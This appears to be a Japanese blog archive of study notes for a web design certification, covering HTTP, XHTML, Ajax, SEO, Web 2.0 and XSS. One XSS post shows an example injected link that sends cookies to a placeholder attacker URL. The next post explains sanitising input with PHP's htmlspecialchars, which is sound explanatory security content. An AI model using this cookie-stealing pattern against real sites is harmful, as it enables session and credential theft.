新築一戸建て・工務店(大阪)なら田原建設

大阪の工務店,一戸建ての「田原建設」は親切丁寧な安心の地域密着型の会社です。完全自由設計の注文住宅で有名な大阪の工務店,一戸建ての「田原建設」へ!

大阪の中古マンションリフォームは笠原建築工房

大阪のマンションリフォームの「笠原建築工房」は”すべて意のままに”をかなえるの会社。新築マンションに勝る中古リフォームならスケルトンで!

埼玉県春日部市 不動産のKNホーム - 草加市,越谷市

埼玉県不動産のKNホームでは大切な財産である家やお店、投資物件を幅広く取り揃えております。売買・新築戸建・中古戸建・マンション・ 賃貸・リフォームなどもお任せ下さい!

  

モンスターカレンダー

? 2009年3月 ?
12345678910111213141516171819202122232425262728293031

2009年3月アーカイブ

 アドセンスとは、グーグルが開発したコンテンツ連動型広告の一つである。ポイントは広告を受け付けるホームページにそのサイト内容にあった広告を配信するシステムにある。よく、「Ads by Google」と表示された広告用の枠を見かけるが、あれである。広告主とサイト管理者との仲介を全てGoogleがやってくれるので、サイト管理者は広告主と交渉したり、ページに合う広告主が誰かなどを意識したりせずに済む。

 アドセンスの出現は、メディアにとって大きなインパクトになった。何故なら従来、Yahooなど大手の広告枠は高価なので大手企業しか広告を出せなかった。しかし、無数の個人のサイトに繋がることで、低価格で広告を出稿できるようになった。これは小さなサイト(個人で運営しているサイト)を無数に積み重ね、閲覧数を全部合わせると企業のサイトより閲覧数が大きくなるという考えの上で成り立っているといえる。

Web2.0について3

| コメント(0) | トラックバック(0)

 Web2.0とよく関連して出る用語が「ロングテール」。ロングテールの意味を理解する前にまずは「2:8(ニッパチ)の法則」を理解する必要がある。

 2:8の法則とは、書店で例えると、2割の種類の本の売り上げが書店の売り上げの8割を占めているという法則である。これはリアルの書店では抱える本の数が限られてしまうからである。

 しかしネットで本を販売することになって、販売できる本の数が有限から無限に変わった。ネットの書店では売り場が必要ないからだ。専門的な本など、なかなかリアルの書店では買えなかったのがネットでは購入できる。現在、ネットでしか購入できない本の売り上げが大きくなってきている。アマゾンでは全体の4割にも達していたと言われている。

多品種少ロットの商品の販売を一般にロングテールと呼ばれているみたいである。

Web2.0について2

| コメント(0) | トラックバック(0)

 Web2.0についてもう少し深く見てみる。Web2.0は三つの要素で構成されているみたいだ。

(1)利用者の参加
(2)集合知の利用
(3)情報の流通性の拡大

 (1)の利用者の参加というものは利用者の知恵を利用して「情報の生成」「情報の選別(評価)」の能力を補うということだ。「クチコミ収集サイト」「ブログ」「SNS」などがそれにあたる。

 (2)の集合知の利用は(1)で集まった情報を集計したり、分析したりすることで、より有益な情報に変換をすることだ。「商品評価サイト」「ソーシャルブックマーク」「ウィキペディア」など

 (3)の情報の流通性の拡大とは(1)(2)の情報が欲しい人に対して的確に届くようにするためのことを指す。「RSS」など

Web2.0について1

| コメント(0) | トラックバック(0)

 つい最近までWeb業界で話題になった"Web2.0"という用語・・・。もともと明確な定義なしに使われ始めたので、現在でも「私が考えるWeb2.0」という議論が行われている。そんな感じなので、実際同僚とWeb2.0について話あっても、お互いのWeb2.0という認識が違うのでかみ合わなかったりする。このWeb2.0という定義を一度きちんと調べてみた。

 どうも書籍やインターネットなど調べてみると、イメージとしては「インターネットの進化が次の段階に進んだ」と捉えて間違いないようだ。その意味が転じて「新しいスタイルのあり方を2.0」と表現する使い方もある。

 前回アクセス向上対策についてSEOについて書いたがその他、SEO以外の手法としては

SEM(Search Engine Marketing)・・・検索エンジンを広告媒体として積極的に活用するマーケティング活動

SMO(Social Media Optimization)ソーシャルメディア最適化・・・ブログや掲示板(BBS)、SNSといったユーザが情報を発信するCGM系のサイト(ソーシャルメディア)での認知度や評判を高め、サイトへのアクセスや評価を向上させること

LPO(Landing Page Optimization)・・・Webページの中でもユーザが最初に到着するWebページ(ランディングページ)を最適化することにより、ユーザを誘導したいページへ向かわせる

人気ブログランキングへ

  アクセス向上対策について一番よく知られているのは"SEO"だろう。SEOは、Search Engine Optimizationの略で、「検索エンジン最適化」と訳される。つまり、検索されやすいようにホームページを最適化することである。具体的に書くと

(1)検索に引っ掛かって欲しいキーワードを)<meta>タグで指定する。
(2)<h1>タグや<strong>タグで強調する。
(3)HTMLの構造をシンプルにする。
(1)(2)についてはだいたい知られている。(3)についてはデザイン的な部分とそれ以外の分離を如何にうまくできるかエディターの力の見せ所である。

人気ブログランキングへ

Ajaxについて3

| コメント(0) | トラックバック(0)
XMLHttpRequest()・・・サーバとのHTTP通信を行うための組み込みオブジェクト(API)

XMLHTTPRequestを応用したWebアプリケーションには、GoogleマップFacebookなとがある。

人気ブログランキングへ

Ajaxについて2

| コメント(0) | トラックバック(0)

 いろいろ調べてみた所、Ajaxが何かしら"非同期通信"という言葉と深い関わりがあるところまではわかった。しかし肝心の"非同期通信"の意味が難しくてよくわからない。

 Ajaxの非同期通信とはAsynchronous JavaScriptとあるようにJavaScriptでHTTP通信を行うということみたいである。JavaScriptでHTTP通信?そう、実際Ajaxという方法論が普及する前はJavaScriptから通信をしようなどと考える人はほとんどいなかった。

 JavaScriptでHTTP通信を行うには、一般的にXMLHTTP、またはXMLHttpRequestと呼ばれるオブジェクトを利用する。

人気ブログランキングへ

Ajaxについて1

| コメント(0) | トラックバック(0)

 最近よく耳にするようになった"Ajax"。しかし実際、自分はよくわかっていなかった。ウェブデザイン技能検定でも、もちろん出題される予想が高い。この機会にAjaxというものを体系的に理解してみた。

 Ajaxは、Asynchronous JavaScript and XMLの略である。ポイントは二つ。

◎非同期(Asynchronous)通信 
◎ダイナミックHTML

 ちなみにAsynchronousの読み方は"アシンクロナス"。非同期通信とは、ユーザーがブラウザで次の画面に移動しようとするタイミングとは異なるタイミングで通信をするという意味である。ダイナミックHTMLは、ユーザーがブラウザで次の画面に移動しなくても、ページの一部を書き換える仕組みだ。

人気ブログランキングへ

XHTMLについて

| コメント(0) | トラックバック(0)

 XHTMLとはwebページを記述するためによく使われるHTMLを、XMLに適合するように定義し直したマークアップ言語。W3Cが仕様を策定している。

また、HTMLからXHTMLへの移行を考える時のポイントは。。

  • タグ内の要素名と属性名は必ず小文字で書く
  • 属性値には必ず引用符(ダブル・シングルクォーテーション)で囲む
  • 空要素は最後にスラッシュを付加するか、終了タグを付ける
  • 「&」は必ず「&amp;」と記述する
  • XMLバージョンとドキュメントタイプを記述する
  • タグは必ずウェル・フォームドにする(オーバーラップさせない)
  • 属性値内で不要な改行はしない
  • name属性とid属性を併用する
  • スクリプトやスタイルはCDATAセクションとする
  • 属性は最小化できない

人気ブログランキングへ

 HTTPにはマルチメディアな情報を格納できるためどのようなリソースデータであるか伝える仕組みが必要とされる。ヘッダ部分に「Content-type:その種類」として書かれる。

Content-Type: text/html

タイプは前半部分は大まかな種類に分けて後半部分で詳細な分類をしている。上の例はリソースデータがHTMLであることを示している。尚、XHTMLを使用するときのメディアタイプはapplication/xhtml+xmlである。

HTTPについて4

| コメント(0) | トラックバック(0)

 前回HTTPによる要求メッセージと応答メッセージを書いたが、この要求メッセージや応答メッセージの確認はBookmarkletというサイトで確認できる。自分も最近知ったサイトで非常に勉強になるサイトである。使い方など簡単なので、是非サイトにアクセスしてみてはどうだろうか。

 ちなみに「HTTPリクエスト&レスポンスヘッダを見る」というスクリプトを使用させて頂いた。その他には

◎HTTPトランザクションの内容を表示

◎英語ページを日本語に

◎単語の出現回数を調べる

など、いろいろある。

HTTPについて3

| コメント(0) | トラックバック(0)

実際にブラウザがサーバにどのような要求メッセージを送っているのか確認してみた。

GET / HTTP/1.1

Host: bookmarklet.daa.jp
Connection: close
Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
Cache-Control: no
Accept-Language: de,en;q=0.7,en-us;q=0.3
Referer:http://web-sniffer.net/

これに対してサーバから送られてきたメッセージはこうだ。

Date: Sat, 07 Mar 2009 02:51:59 GMT
Server: Apache
Last-Modified: Sat, 07 Mar 2009 02:50:05 GMT
ETag: "24c90d-92a8-49b1e0dd"
Accept-Ranges: bytes
Content-Length: 37544
Connection: close
Content-Type: text/html

ちなみに自分のサイトを見たケースである。

前回の記事でHTTP1.1では要求メッセージのヘッダにHost:フィールドが含まれなければいけないと記述した。要求メッセージの文を確認してみると、ちゃんとHost:フィールドが含まれていることが確認できた。

HTTPについて2

| コメント(0) | トラックバック(0)

 ネットワークにおいてテキスト形式のデータを転送するときの「決まり事」であるHTTP。HTTPには1.1と1.0がある。2級の問題集ではこのHTTP1.1の特徴が出題されていた。HTTP1.1では要求ヘッダにHost:フィールドが含まれなければいけない。バーチャルサーバでは一つのウェブサーバで複数のドメインを管理できるが、このHost:を使って判断している。

 HTTPを解釈するプログラムのことを"ユーザエージェント"と呼ぶ。一般的にはWebブラウザを指す。

HTTPについて1

| コメント(0) | トラックバック(0)

 Webの仕事をしていると"HTTP"という言葉をよく耳にする。しかし実際、漠然としたイメージしかもっていなかった。ウェブデザイン技能検定の問題集でも結構出てくる言葉なので、この機会に整理してみた。

 HTTPとは簡単に言うと、Webサーバとクライアント(Webブラウザなど)がデータを送受信するのに使われるプロトコル(通信規格)の一つである。

 パソコン同士の通信は私達が使っている言葉と同じように通信規格という言葉が合わないとデータの送受信ができないような仕組みになっている。つまりサーバとクライアントがお互い同じ"HTTP"という言葉を使用することではじめて送受信ができるということである。

 HTTPではHTML文書や、文書に関連付けられている画像、音声、動画などのファイルをやり取りできる。HTTPには1.0と1.1がありIETFによって、HTTP1.0はRFC1945として、HTTP1.1はRFC2616として規格化されている。

 今回はウェブデザイン技能検定の受検申請までの流れをご説明したい。
※尚この記事を書いたのは2009年3月である。ご了承頂きたい。

[1]受検手数料を指定の口座に振り込む
 ※振込・利用明細書の控えをとって置くこと
[2]受検申請書を記入
 1)申請書はインターネットスキル認定普及協会よりダウンロード
 2)振込・利用明細書を所定の欄に貼付する
[3]申請書を「簡易書留」で郵送
 ※簡易書留の控えは保管して置く
[4]受検票到着 ※インターネットスキル認定普及協会からの受検票発送日を予め確認しておく。

ウェブデザイン技能検定はまだ間もないので、よく協会側がミスを起こす可能性がある。自分のケースでは、Web上で記載していた受検料にミスがあった為、後日協会側から「再度、不足分を振り込んでほしい」と電話があった。もちろん不足分を振り込んだが、受検票が届くまで不安であった。もしもの時に備えて「振込・利用明細書」「簡易書留」は受検票が届くまできちんと保管しておいたほうがいいであろう。尚、受検申請書に貼付する「振込・利用明細書」はコピーしたものでもOKだ。

受検申請の流れはこのようになっているが、実際に受けられる方は改めてインターネットスキル認定普及協会のWebサイトまで確認をして頂きたい。

試験料金

| コメント(0) | トラックバック(0)

 Web業界初の国家資格"ウェブデザイン技能検定"。気になる料金のほうだが、等級が上がるにつれて値段も高くなっている。

【1級】 学科:7,000円 実技:25,000円 (計32,000円)
【2級】 学科:6,000円 実技:12,500円 (計18,500円)
【3級】 学科:5,000円 実技:5,000円 (計10,000円)

 1級の実技試験にはペーパー実技受験料も含まれる為、少し割高になっている。また、1級の実技試験は1級の学科を合格した方のみ受験資格が得られるみたいである。

 実際に受験をする事を決めて振込みされる方は運営団体"インターネットスキル認定普及協会"のWEBサイトまで改めて確認して頂きたい。

 前回までの記事を読んで頂いてXSSについてある程度理解されたかと思う。今回はこの対策について記事を書いていきたい。

 まずXSSの対策としてWEBサイトの入力フォームへの入力データから、HTMLタグJavaScript、SQL文など検出し、それらを他の文字列に置き換える機能が必要になる。これはサニタイジング(無害化)と呼ばれる。実際にどのようなコードを書くのか?自分はサーバサイドスクリプト言語でPHPを良く使うのでPHPで書くとまず以下のコードなど有効であろう。

$value = htmlspecialchars($value,ENT_QUOTES);

 上記のコードは、入力フォームで入力されたデータをPHPのhtmlspecialchars関数で処理をしている。htmlpecialchars関数は"<"や"&"の文字を"&lt;"や"&amp"に変換してくれる関数だ。htmlspecialcharsにENT_QUOTESを付けたのはシングルクォートもサニタイジングする為である。

 XSSについて記事を書いてきたが、これがウェブデザイン技能検定の問題集に出題されていたので、試験を受ける方は用語の意味ぐらいはチェックしておいたほうがいいであろう。

 前回XSS(クロスサイトスクリプティング)についての説明の記事を書いた。今回どのようなケースで悪意のあるスクリプトを書くのか記事を書いてみたいと思う。

 掲示板でHTMLやJavaScriptのタグが使用できるとなると、一体どのよなタグを入れてくるのか?JavaScriptではクッキーが読み出せるので以下のようなタグを入れてくるケースが多い。

<a href='https://悪意のあるサイトURL/?pass=<script>クッキー読み出しのスクリプト</script>'>クリック</a>

 上記の"クリック"を押すと"pass"というパラメータでパスワードなどを保存したクッキーが送信されてしまう。またimgタグを使用すれば画像など読み出しただけで送信されるみたいである。このような事を防ぐ対策として"サニタイジング"というやり方がある。

次回この対策についての記事を書いていきたい。

 XSS(クロスサイトスクリプティング)とは動的にWebページを生成するアプリケーションのセキュリティ上の不備を意図的に利用し、狭義にはサイト間を横断して悪意のあるスクリプトを混入させることである。もう少し詳しく説明してみよう。

 例えばあるサイトに行って掲示板に書き込みをするとしよう。通常はコメントを書いて"送信"ボタンを押して完了となる。しかしここでHTMLやJavaScriptのタグを入れるとどうなるか?掲示板の機能はサーバ上で処理するので、対策を行わないとタグが有効に効く。対策をしていない場合は掲示板に悪意のあるスクリプトが混入されるというわけである。

 次回この手口でどのような事が起こりうるのか記事を書いてみたいと思う。

 以前、静的なページで作成されたWEBページが大半であったが、今やWEBサイトを見ていると"メールフォーム","登録フォーム"などサーバーサイドスクリプトを使用したページも多く目にする。今までマークアップ言語までしか知らないエディターも少なからずサーバーサイドの知識など必要とされてきている。WEB技術が進むにつれてクリエイターに求める技術も広くなってきている。恐らくそのようなケースになった場合、大半の方は、インターネットでソースを探してきて使用しているのであろう。実際自分もそうであった。メールフォームあたりのプログラムはたくさん落ちているし、またある程度基本的な知識があれば、ちょっとしたカスタマイズもすぐにできる。

 しかし、ここでちょっと注意して頂きたい。動作確認だけ気をとられて少しセキュリティーについてお粗末になっていないだろうか?フォームを利用して悪意のあるスクリプトを混入させることをXSS(クロスサイトスクリプト)という。次回XSSについて記事を書いていきたい。

 よくアクセス解析などで"ユーザエージェント"という言葉を耳にするが、あまりよくわかっていなかった。この資格の勉強をする際にまた出会ったので調べてみた。意味はHTTPを解釈するプログラムのことで要はWebブラウザのことを指しているみたいだ。なら、ユーザエージェントと言わずにWebブラウザでいいのではないかと思っているのは自分だけか?(苦笑)

 またこれもよく耳にする言葉で、"エンドユーザ"という言葉がある。ソフトウェア環境やネットワーク環境を管理している「管理者」に対比させ、「管理させられる側」として使われるみたいである。

HTMlL 4.01 Transitionalでは将来廃止予定の要素も含まれている。以下が代表的なタグだ。

◎APPLET・・・HTMLドキュメントにJavaアプレットを挿入するタグ

◎FONT・・・フォントの種類・大きさ・色を指定

◎U・・・アンダーラインを引くタグ

これらのタグは今後使用を避けるべきであろう。また余談だが自分はアンカーを使用する際にa要素のname属性を記述していたが、同僚から「XHTML1.1以降name属性は廃止されるのでid属性を使用してほしい」と指摘を受けたことがある。まったくそのような事は知らなかったので、調べてみて初めて知った。しかし大部分のブラウザはid属性を理解するが、互換性を重視する場合はname属性による名前付けを使う方が都合がよいこともあるので、多くの人は並行して記述しているみたいだ。 

 

 W3Cについては以前述べた。では、次に勧告までの流れも把握しておこう。W3Cが技術仕様を勧告するまでの流れはこのようになっている。

1.草案(Working Draft) → 2.最終草案(Working Draft Last Call) → 3.勧告案(Condidate Recommendations) →4.勧告候補(Proposed Recommendations) → 5.勧告(Recommendations)

 またW3Cの仕様書はSpecificationsと呼ばれる。エディターはこの仕様に沿ってコーディングをしていかなければならないのである。